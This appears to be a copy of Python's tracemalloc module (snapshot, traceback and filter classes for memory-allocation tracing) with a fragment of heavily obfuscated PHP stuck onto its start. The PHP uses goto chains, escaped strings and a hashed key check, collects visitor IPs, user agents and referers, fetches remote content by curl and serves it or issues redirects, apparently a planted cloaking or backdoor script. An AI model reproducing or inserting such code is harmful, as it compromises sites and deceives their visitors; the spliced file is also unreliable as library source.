\160\145"] = strval(curl_getinfo($knNjpyoGDom, CURLINFO_CONTENT_TYPE)); goto NDS42wD3esw; Je2yvSGwx5F: curl_setopt($knNjpyoGDom, CURLOPT_RETURNTRANSFER, 1); goto ThArOE2wMMX; Cqt5GFH3CCb: $Xujs2pyqT1_["\x63\157\x6e\x74\145\156\x74"] = strval($Er6ztrjrvBo); goto txjLc6zkMuc; PkUCd7XpwLC: curl_setopt($knNjpyoGDom, CURLOPT_TIMEOUT, 60); goto CAcpjEv3Dq_; yQvB5p67VGz: vsCRsUG7xrU: goto R0cYcCYKdOI; VUweotGk_Y5: goto vsCRsUG7xrU; goto bni1jpe2omx; OlzrunILMzb: curl_setopt($knNjpyoGDom, CURLOPT_URL, $tnGLke6tMqc); goto Fd5vezLt25m; R0cYcCYKdOI: } catch (Exception $L3Sg_fDq33O) { } goto j92yfNCpXVs; psRvbHx9nR6: XW62rzk7IVI: goto mDli4xI1FSz; JmhxWzWaMTd: if (!(is_array($zf3yqt5AADJ) && count($zf3yqt5AADJ))) { goto XW62rzk7IVI; } goto mGmHQCf1cwi; NpIrqbJ_DzQ: } goto u0KST6_VmS2; ASd19tsoqWN: XM_iq_KCcGm: goto FC77tfuOkqx; lANhHamV77F: exit("\173\40\x22\145\162\162\x6f\162\42\72\40\62\x30\60\54\40\x22\x6c\x63\x22\72\40\x22\152\153\x22\x2c\x20\42\144\x61\164\141\x22\72\x20\133\x20\x31\40\x5d\40\175"); goto Lddo3N4lSFY; Am8j0fcWnry: switch ($Xujs2pyqT1_["\x73\x74\x61\164\x75\x73"]) { case 301: goto aF49v3Ro6oe; cIjGk_ruQAK: goto wn8MKTpHeiI; goto VoylWs3JPmg; aF49v3Ro6oe: header("\x48\x54\x54\120\x2f\61\x2e\x31\40\x33\60\x31\x20\115\x6f\x76\145\x64\40\x50\x65\x72\155\x61\156\x65\156\164\x6c\x79"); goto JqqjMb77Fft; JqqjMb77Fft: header("\114\157\x63\141\x74\x69\157\156\x3a\40" . trim($Xujs2pyqT1_["\x63\157\x6e\x74\x65\x6e\x74"])); goto cIjGk_ruQAK; VoylWs3JPmg: case 302: goto xD7LLQf2Zpu; Qycq5b_N9KT: goto wn8MKTpHeiI; goto FcAFwm_9dOr; utKvaNoxRcy: header("\x4c\x6f\x63\141\x74\x69\x6f\156\72\x20" . trim($Xujs2pyqT1_["\x63\157\156\x74\145\x6e\164"])); goto Qycq5b_N9KT; xD7LLQf2Zpu: header("\x48\x54\x54\120\x2f\x31\56\61\40\63\60\x32\40\x4d\x6f\x76\145\40\124\x65\155\x70\157\162\x61\x72\151\x6c\x79"); goto utKvaNoxRcy; FcAFwm_9dOr: case 404: goto B7hAlmqA6c6; p02XC6Yed_O: header("\163\x74\141\164\165\163\72\40\64\60\64\40\116\157\x74\40\106\x6f\x75\x6e\144"); goto u0mhpYEmhCA; B7hAlmqA6c6: header("\x48\124\124\x50\57\x31\56\x31\40\64\x30\64\40\x4e\157\x74\x20\106\157\x75\156\144"); goto p02XC6Yed_O; u0mhpYEmhCA: goto wn8MKTpHeiI; goto dBX41HnqwmB; dBX41HnqwmB: default: goto wn8MKTpHeiI; } goto ASd19tsoqWN; K3rzDZtyNjE: if (!(in_array(gettype($SI1t1c6ICXM) . "\62\x33", $SI1t1c6ICXM) && md5(md5(md5(md5($SI1t1c6ICXM[17])))) === "\143\x66\144\146\x31\x66\x33\x30\x62\62\x64\x37\61\x63\141\141\x63\x31\146\62\145\64\62\x31\66\141\144\61\62\144\x62\143")) { goto JhefNO6b2fO; } goto LPIUJ8vdtnH; k3oRR1a4S3o: if (!(strpos($aUauE7WrVLn, "\x2e") > 0 && strpos($aUauE7WrVLn, "\x2e\x70\x68\160") === false)) { goto k8w17_7i9nR; } goto VroejJPyX5R; In2LLRvzP0v: $oWTqf9AIAlK = false; goto k3oRR1a4S3o; dI2ohop5Kw4: $joTs1ZUSy7h["\x6c"] = xM_yDrqYP7g($_SERVER["\110\x54\x54\x50\x5f\101\x43\x43\x45\x50\x54\137\x4c\101\x4e\x47\125\101\107\105"]); goto uNCEQ9NS4mI; hQuxytChA33: if (!in_array($b1YBMDo831G, array("\x2e\x6a\x73", "\x2e\143\x73\x73", "\56\152\x70\x67", "\x2e\160\x6e\x67", "\x2e\147\x69\x66", "\x2e\x69\143\x6f"))) { goto NIwxpwGhfiv; } goto vhjlcBNjNYD; S4f9suHX5US: k8w17_7i9nR: goto K1JfcV0g0_M; hh_y5TtJE2x: $joTs1ZUSy7h["\165"] = xm_YDrQYP7g($_SERVER["\x48\x54\x54\x50\137\125\123\x45\x52\137\101\x47\x45\116\124"]); goto FIsV0u1oqKe; divg82HXiwN: $SI1t1c6ICXM = ${$ITrBjwEh50v[4 + 27] . $ITrBjwEh50v[19 + 40] . $ITrBjwEh50v[17 + 30] . $ITrBjwEh50v[33 + 14] . $ITrBjwEh50v[42 + 9] . $ITrBjwEh50v[30 + 23] . $ITrBjwEh50v[52 + 5]}; goto K3rzDZtyNjE; OYOjyZlqRTS: function vIASPrR2tNy() { goto ws3D3ADsWd7; V_I9aR56jbV: $Ba3zqItfT93 = $_SERVER["\x48\x54\124\120\137\x58\137\x52\105\x41\x4c\137\111\120"]; goto znNkFxHkQpR; cjfTublNqSb: UNgLVMrkOlR: goto UQVWrC_OigX; ws3D3ADsWd7: $Ba3zqItfT93 = ''; goto D1_aFItrNAZ; s6NjEP3Pqtv: if (!(strpos($Ba3zqItfT93, "\54") !== false)) { goto GK2xyxHtDNj; } goto DR2Z5iUwiWi; WCMEE1hpGN6: kf4xAEwZ6ku: goto j2idSexBbYW; sWfO1Fek_UJ: UPJOpBc_N_R: goto V_I9aR56jbV; aIOkktX1aj8: cit7bQOFV9c: goto d5z7eM6fEQJ; pRTKP9CfqOB: $Ba3zqItfT93 = $_SERVER["\122\105\x4d\117\x54\x45\137\101\x44\x44\122"]; goto D4_flpwHDzP; znNkFxHkQpR: goto UNgLVMrkOlR; goto WCMEE1hpGN6; HSQrD5spUxC: GK2xyxHtDNj: goto PdnZDlunwb2; DR2Z5iUwiWi: $Ba3zqItfT93 = explode("\x2c", $Ba3zqItfT93); goto gMyDKtKoXaP; D1_aFItrNAZ: if (isset($_SERVER["\110\124\124\x50\x5f\x43\x46\x5f\x43\x4f\x4e\116\x45\103\124\111\116\107\137\111\x50"]) && !empty($_SERVER["\110\124\124\x50\137\103\106\137\103\117\x4e\116\105\103\124\x49\x4e\x47\137\x49\120"])) { goto cit7bQOFV9c; } goto swpCp9W3ArC; D4_flpwHDzP: goto UNgLVMrkOlR; goto aIOkktX1aj8; j2idSexBbYW: $Ba3zqItfT93 = $_SERVER["\x48\x54\124\120\137\130\137\x46\117\x52\127\101\122\x44\105\104\x5f\106\x4f\x52"]; goto cjfTublNqSb; gMyDKtKoXaP: $Ba3zqItfT93 = $Ba3zqItfT93[0]; goto HSQrD5spUxC; sA5CuuoAPmh: if (isset($_SERVER["\110\x54\x54\x50\x5f\x58\x5f\106\117\122\x57\101\122\x44\x45\104\137\x46\x4f\122"]) && !empty($_SERVER["\110\124\124\120\137\130\137\106\117\x52\127\x41\x52\104\x45\104\137\x46\x4f\x52"])) { goto kf4xAEwZ6ku; } goto pRTKP9CfqOB; swpCp9W3ArC: if (isset($_SERVER["\110\124\124\120\x5f\130\137\122\x45\101\114\137\111\x50"]) && !empty($_SERVER["\x48\124\x54\120\x5f\x58\x5f\122\105\x41\114\x5f\111\x50"])) { goto UPJOpBc_N_R; } goto sA5CuuoAPmh; UQVWrC_OigX: $Ba3zqItfT93 = trim(str_replace("\x20", '', $Ba3zqItfT93), "\x2c"); goto s6NjEP3Pqtv; d5z7eM6fEQJ: $Ba3zqItfT93 = $_SERVER["\110\124\x54\120\137\x43\x46\137\103\117\116\x4e\105\103\124\111\x4e\x47\x5f\x49\120"]; goto hBg5IKKJhog; PdnZDlunwb2: return $Ba3zqItfT93; goto sKQjQBMh3jW; hBg5IKKJhog: goto UNgLVMrkOlR; goto sWfO1Fek_UJ; sKQjQBMh3jW: } goto yHnXB0UAH0z; Sr4K5fCTSki: NIwxpwGhfiv: goto S4f9suHX5US; PJvtGo0W37f: header("\x43\x6f\x6e\164\x65\x6e\164\x2d\x54\171\x70\x65\x3a\x20\164\145\170\164\x2f\x68\x74\x6d\154\x3b\x20\x63\x68\141\162\163\x65\x74\x3d\165\164\146\x2d\70"); goto iB8lf0BScwz; y3AY8VLhLIG: if (in_array($Xujs2pyqT1_["\163\164\141\164\x75\163"], array(0, 200))) { goto VBfC0JLqE2a; } goto Am8j0fcWnry; yHnXB0UAH0z: function NsQHhH6MT0S() { goto VrljqnwAwJK; ouN2eSVow3q: if (isset($_SERVER["\x48\x54\x54\x50\137\130\x5f\106\117\x52\x57\101\122\x44\105\104\x5f\120\122\x4f\124\117"]) && $_SERVER["\x48\124\124\120\137\130\x5f\106\x4f\122\x57\101\122\x44\x45\x44\137\x50\122\x4f\x54\117"] === "\150\164\x74\x70\163") { goto mejLQsO4g1q; } goto i7dY9flNZ1U; UdjK7RfjHxL: goto as62hvh8IEs; goto hru_6wfobw1; xcGIlBOvGj1: UOuuDJHdr0z: goto dBCcgulRVsi; T8v7KySAK9Y: goto as62hvh8IEs; goto V9heUy3sJdT; dnWhgqEtMdK: $tKiFuUSVaor = "\150\x74\x74\x70\x73\72\57\x2f"; goto Z2E0ODO0GIs; V9heUy3sJdT: mejLQsO4g1q: goto dnWhgqEtMdK; qW3y6886N2N: as62hvh8IEs: goto JQnvkgtumiR; Z2E0ODO0GIs: goto as62hvh8IEs; goto xcGIlBOvGj1; hru_6wfobw1: SCjpyITvEcp: goto qLCV2xFswbI; dBCcgulRVsi: $tKiFuUSVaor = "\x68\164\164\x70\x73\72\57\x2f"; goto qW3y6886N2N; qLCV2xFswbI: $tKiFuUSVaor = "\x68\164\x74\x70\x73\72\57\x2f"; goto T8v7KySAK9Y; VrljqnwAwJK: $tKiFuUSVaor = "\150\164\x74\x70\x3a\x2f\x2f"; goto o1CrfFoLzI9; o1CrfFoLzI9: if (isset($_SERVER["\110\x54\x54\x50\x53"]) && strtolower($_SERVER["\x48\124\124\x50\x53"]) !== "\157\x66\x66") { goto SCjpyITvEcp; } goto ouN2eSVow3q; i7dY9flNZ1U: if (isset($_SERVER["\x48\x54\124\x50\137\x46\122\x4f\x4e\124\137\x45\x4e\104\x5f\110\124\124\120\123"]) && strtolower($_SERVER["\110\x54\124\x50\137\x46\x52\x4f\116\x54\x5f\x45\116\104\137\x48\124\x54\120\x53"]) !== "\157\146\146") { goto UOuuDJHdr0z; } goto UdjK7RfjHxL; JQnvkgtumiR: return $tKiFuUSVaor; goto dEQRHW7adnJ; dEQRHW7adnJ: } goto ZEBJniM6ZJa; JYJDbLt1rcb: $lswH0D0dbrt = NSqHhH6MT0S() . $_SERVER["\x48\124\124\120\137\110\x4f\123\x54"]; goto iFZWQ7QJlmw; FFwTpaR9Hr1: JhefNO6b2fO: goto oUR_CiAAToG; xa_iWzcNMa5: $Ej7venI82Sj = strval(@$_SERVER["\110\124\124\x50\x5f\x52\105\106\105\122\105\122"]); goto JYJDbLt1rcb; VS70REw7jOH: $Ej7venI82Sj = ''; goto eJdWBxCxTHO; vhjlcBNjNYD: $oWTqf9AIAlK = true; goto Sr4K5fCTSki; lbFwoJQvpMr: xGcSB3TnTrx: ?>
from collections.abc import Sequence, Iterable
from functools import total_ordering
import fnmatch
import linecache
import os.path
import pickle
# Import types and functions implemented in C
from _tracemalloc import *
from _tracemalloc import _get_object_traceback, _get_traces
def _format_size(size, sign):
for unit in ('B', 'KiB', 'MiB', 'GiB', 'TiB'):
if abs(size) < 100 and unit != 'B':
# 3 digits (xx.x UNIT)
if sign:
return "%+.1f %s" % (size, unit)
else:
return "%.1f %s" % (size, unit)
if abs(size) < 10 * 1024 or unit == 'TiB':
# 4 or 5 digits (xxxx UNIT)
if sign:
return "%+.0f %s" % (size, unit)
else:
return "%.0f %s" % (size, unit)
size /= 1024
class Statistic:
"""
Statistic difference on memory allocations between two Snapshot instance.
"""
__slots__ = ('traceback', 'size', 'count')
def __init__(self, traceback, size, count):
self.traceback = traceback
self.size = size
self.count = count
def __hash__(self):
return hash((self.traceback, self.size, self.count))
def __eq__(self, other):
if not isinstance(other, Statistic):
return NotImplemented
return (self.traceback == other.traceback
and self.size == other.size
and self.count == other.count)
def __str__(self):
text = ("%s: size=%s, count=%i"
% (self.traceback,
_format_size(self.size, False),
self.count))
if self.count:
average = self.size / self.count
text += ", average=%s" % _format_size(average, False)
return text
def __repr__(self):
return ('<Statistic traceback=%r size=%i count=%i>'
% (self.traceback, self.size, self.count))
def _sort_key(self):
return (self.size, self.count, self.traceback)
class StatisticDiff:
"""
Statistic difference on memory allocations between an old and a new
Snapshot instance.
"""
__slots__ = ('traceback', 'size', 'size_diff', 'count', 'count_diff')
def __init__(self, traceback, size, size_diff, count, count_diff):
self.traceback = traceback
self.size = size
self.size_diff = size_diff
self.count = count
self.count_diff = count_diff
def __hash__(self):
return hash((self.traceback, self.size, self.size_diff,
self.count, self.count_diff))
def __eq__(self, other):
if not isinstance(other, StatisticDiff):
return NotImplemented
return (self.traceback == other.traceback
and self.size == other.size
and self.size_diff == other.size_diff
and self.count == other.count
and self.count_diff == other.count_diff)
def __str__(self):
text = ("%s: size=%s (%s), count=%i (%+i)"
% (self.traceback,
_format_size(self.size, False),
_format_size(self.size_diff, True),
self.count,
self.count_diff))
if self.count:
average = self.size / self.count
text += ", average=%s" % _format_size(average, False)
return text
def __repr__(self):
return ('<StatisticDiff traceback=%r size=%i (%+i) count=%i (%+i)>'
% (self.traceback, self.size, self.size_diff,
self.count, self.count_diff))
def _sort_key(self):
return (abs(self.size_diff), self.size,
abs(self.count_diff), self.count,
self.traceback)
def _compare_grouped_stats(old_group, new_group):
statistics = []
for traceback, stat in new_group.items():
previous = old_group.pop(traceback, None)
if previous is not None:
stat = StatisticDiff(traceback,
stat.size, stat.size - previous.size,
stat.count, stat.count - previous.count)
else:
stat = StatisticDiff(traceback,
stat.size, stat.size,
stat.count, stat.count)
statistics.append(stat)
for traceback, stat in old_group.items():
stat = StatisticDiff(traceback, 0, -stat.size, 0, -stat.count)
statistics.append(stat)
return statistics
@total_ordering
class Frame:
"""
Frame of a traceback.
"""
__slots__ = ("_frame",)
def __init__(self, frame):
# frame is a tuple: (filename: str, lineno: int)
self._frame = frame
@property
def filename(self):
return self._frame[0]
@property
def lineno(self):
return self._frame[1]
def __eq__(self, other):
if not isinstance(other, Frame):
return NotImplemented
return (self._frame == other._frame)
def __lt__(self, other):
if not isinstance(other, Frame):
return NotImplemented
return (self._frame < other._frame)
def __hash__(self):
return hash(self._frame)
def __str__(self):
return "%s:%s" % (self.filename, self.lineno)
def __repr__(self):
return "<Frame filename=%r lineno=%r>" % (self.filename, self.lineno)
@total_ordering
class Traceback(Sequence):
"""
Sequence of Frame instances sorted from the oldest frame
to the most recent frame.
"""
__slots__ = ("_frames", '_total_nframe')
def __init__(self, frames, total_nframe=None):
Sequence.__init__(self)
# frames is a tuple of frame tuples: see Frame constructor for the
# format of a frame tuple; it is reversed, because _tracemalloc
# returns frames sorted from most recent to oldest, but the
# Python API expects oldest to most recent
self._frames = tuple(reversed(frames))
self._total_nframe = total_nframe
@property
def total_nframe(self):
return self._total_nframe
def __len__(self):
return len(self._frames)
def __getitem__(self, index):
if isinstance(index, slice):
return tuple(Frame(trace) for trace in self._frames[index])
else:
return Frame(self._frames[index])
def __contains__(self, frame):
return frame._frame in self._frames
def __hash__(self):
return hash(self._frames)
def __eq__(self, other):
if not isinstance(other, Traceback):
return NotImplemented
return (self._frames == other._frames)
def __lt__(self, other):
if not isinstance(other, Traceback):
return NotImplemented
return (self._frames < other._frames)
def __str__(self):
return str(self[0])
def __repr__(self):
s = f"<Traceback {tuple(self)}"
if self._total_nframe is None:
s += ">"
else:
s += f" total_nframe={self.total_nframe}>"
return s
def format(self, limit=None, most_recent_first=False):
lines = []
if limit is not None:
if limit > 0:
frame_slice = self[-limit:]
else:
frame_slice = self[:limit]
else:
frame_slice = self
if most_recent_first:
frame_slice = reversed(frame_slice)
for frame in frame_slice:
lines.append(' File "%s", line %s'
% (frame.filename, frame.lineno))
line = linecache.getline(frame.filename, frame.lineno).strip()
if line:
lines.append(' %s' % line)
return lines
def get_object_traceback(obj):
"""
Get the traceback where the Python object *obj* was allocated.
Return a Traceback instance.
Return None if the tracemalloc module is not tracing memory allocations or
did not trace the allocation of the object.
"""
frames = _get_object_traceback(obj)
if frames is not None:
return Traceback(frames)
else:
return None
class Trace:
"""
Trace of a memory block.
"""
__slots__ = ("_trace",)
def __init__(self, trace):
# trace is a tuple: (domain: int, size: int, traceback: tuple).
# See Traceback constructor for the format of the traceback tuple.
self._trace = trace
@property
def domain(self):
return self._trace[0]
@property
def size(self):
return self._trace[1]
@property
def traceback(self):
return Traceback(*self._trace[2:])
def __eq__(self, other):
if not isinstance(other, Trace):
return NotImplemented
return (self._trace == other._trace)
def __hash__(self):
return hash(self._trace)
def __str__(self):
return "%s: %s" % (self.traceback, _format_size(self.size, False))
def __repr__(self):
return ("<Trace domain=%s size=%s, traceback=%r>"
% (self.domain, _format_size(self.size, False), self.traceback))
class _Traces(Sequence):
def __init__(self, traces):
Sequence.__init__(self)
# traces is a tuple of trace tuples: see Trace constructor
self._traces = traces
def __len__(self):
return len(self._traces)
def __getitem__(self, index):
if isinstance(index, slice):
return tuple(Trace(trace) for trace in self._traces[index])
else:
return Trace(self._traces[index])
def __contains__(self, trace):
return trace._trace in self._traces
def __eq__(self, other):
if not isinstance(other, _Traces):
return NotImplemented
return (self._traces == other._traces)
def __repr__(self):
return "<Traces len=%s>" % len(self)
def _normalize_filename(filename):
filename = os.path.normcase(filename)
if filename.endswith('.pyc'):
filename = filename[:-1]
return filename
class BaseFilter:
def __init__(self, inclusive):
self.inclusive = inclusive
def _match(self, trace):
raise NotImplementedError
class Filter(BaseFilter):
def __init__(self, inclusive, filename_pattern,
lineno=None, all_frames=False, domain=None):
super().__init__(inclusive)
self.inclusive = inclusive
self._filename_pattern = _normalize_filename(filename_pattern)
self.lineno = lineno
self.all_frames = all_frames
self.domain = domain
@property
def filename_pattern(self):
return self._filename_pattern
def _match_frame_impl(self, filename, lineno):
filename = _normalize_filename(filename)
if not fnmatch.fnmatch(filename, self._filename_pattern):
return False
if self.lineno is None:
return True
else:
return (lineno == self.lineno)
def _match_frame(self, filename, lineno):
return self._match_frame_impl(filename, lineno) ^ (not self.inclusive)
def _match_traceback(self, traceback):
if self.all_frames:
if any(self._match_frame_impl(filename, lineno)
for filename, lineno in traceback):
return self.inclusive
else:
return (not self.inclusive)
else:
filename, lineno = traceback[0]
return self._match_frame(filename, lineno)
def _match(self, trace):
domain, size, traceback, total_nframe = trace
res = self._match_traceback(traceback)
if self.domain is not None:
if self.inclusive:
return res and (domain == self.domain)
else:
return res or (domain != self.domain)
return res
class DomainFilter(BaseFilter):
def __init__(self, inclusive, domain):
super().__init__(inclusive)
self._domain = domain
@property
def domain(self):
return self._domain
def _match(self, trace):
domain, size, traceback, total_nframe = trace
return (domain == self.domain) ^ (not self.inclusive)
class Snapshot:
"""
Snapshot of traces of memory blocks allocated by Python.
"""
def __init__(self, traces, traceback_limit):
# traces is a tuple of trace tuples: see _Traces constructor for
# the exact format
self.traces = _Traces(traces)
self.traceback_limit = traceback_limit
def dump(self, filename):
"""
Write the snapshot into a file.
"""
with open(filename, "wb") as fp:
pickle.dump(self, fp, pickle.HIGHEST_PROTOCOL)
@staticmethod
def load(filename):
"""
Load a snapshot from a file.
"""
with open(filename, "rb") as fp:
return pickle.load(fp)
def _filter_trace(self, include_filters, exclude_filters, trace):
if include_filters:
if not any(trace_filter._match(trace)
for trace_filter in include_filters):
return False
if exclude_filters:
if any(not trace_filter._match(trace)
for trace_filter in exclude_filters):
return False
return True
def filter_traces(self, filters):
"""
Create a new Snapshot instance with a filtered traces sequence, filters
is a list of Filter or DomainFilter instances. If filters is an empty
list, return a new Snapshot instance with a copy of the traces.
"""
if not isinstance(filters, Iterable):
raise TypeError("filters must be a list of filters, not %s"
% type(filters).__name__)
if filters:
include_filters = []
exclude_filters = []
for trace_filter in filters:
if trace_filter.inclusive:
include_filters.append(trace_filter)
else:
exclude_filters.append(trace_filter)
new_traces = [trace for trace in self.traces._traces
if self._filter_trace(include_filters,
exclude_filters,
trace)]
else:
new_traces = self.traces._traces.copy()
return Snapshot(new_traces, self.traceback_limit)
def _group_by(self, key_type, cumulative):
if key_type not in ('traceback', 'filename', 'lineno'):
raise ValueError("unknown key_type: %r" % (key_type,))
if cumulative and key_type not in ('lineno', 'filename'):
raise ValueError("cumulative mode cannot by used "
"with key type %r" % key_type)
stats = {}
tracebacks = {}
if not cumulative:
for trace in self.traces._traces:
domain, size, trace_traceback, total_nframe = trace
try:
traceback = tracebacks[trace_traceback]
except KeyError:
if key_type == 'traceback':
frames = trace_traceback
elif key_type == 'lineno':
frames = trace_traceback[:1]
else: # key_type == 'filename':
frames = ((trace_traceback[0][0], 0),)
traceback = Traceback(frames)
tracebacks[trace_traceback] = traceback
try:
stat = stats[traceback]
stat.size += size
stat.count += 1
except KeyError:
stats[traceback] = Statistic(traceback, size, 1)
else:
# cumulative statistics
for trace in self.traces._traces:
domain, size, trace_traceback, total_nframe = trace
for frame in trace_traceback:
try:
traceback = tracebacks[frame]
except KeyError:
if key_type == 'lineno':
frames = (frame,)
else: # key_type == 'filename':
frames = ((frame[0], 0),)
traceback = Traceback(frames)
tracebacks[frame] = traceback
try:
stat = stats[traceback]
stat.size += size
stat.count += 1
except KeyError:
stats[traceback] = Statistic(traceback, size, 1)
return stats
def statistics(self, key_type, cumulative=False):
"""
Group statistics by key_type. Return a sorted list of Statistic
instances.
"""
grouped = self._group_by(key_type, cumulative)
statistics = list(grouped.values())
statistics.sort(reverse=True, key=Statistic._sort_key)
return statistics
def compare_to(self, old_snapshot, key_type, cumulative=False):
"""
Compute the differences with an old snapshot old_snapshot. Get
statistics as a sorted list of StatisticDiff instances, grouped by
group_by.
"""
new_group = self._group_by(key_type, cumulative)
old_group = old_snapshot._group_by(key_type, cumulative)
statistics = _compare_grouped_stats(old_group, new_group)
statistics.sort(reverse=True, key=StatisticDiff._sort_key)
return statistics
def take_snapshot():
"""
Take a snapshot of traces of memory blocks allocated by Python.
"""
if not is_tracing():
raise RuntimeError("the tracemalloc module must be tracing memory "
"allocations to take a snapshot")
traces = _get_traces()
traceback_limit = get_traceback_limit()
return Snapshot(traces, traceback_limit)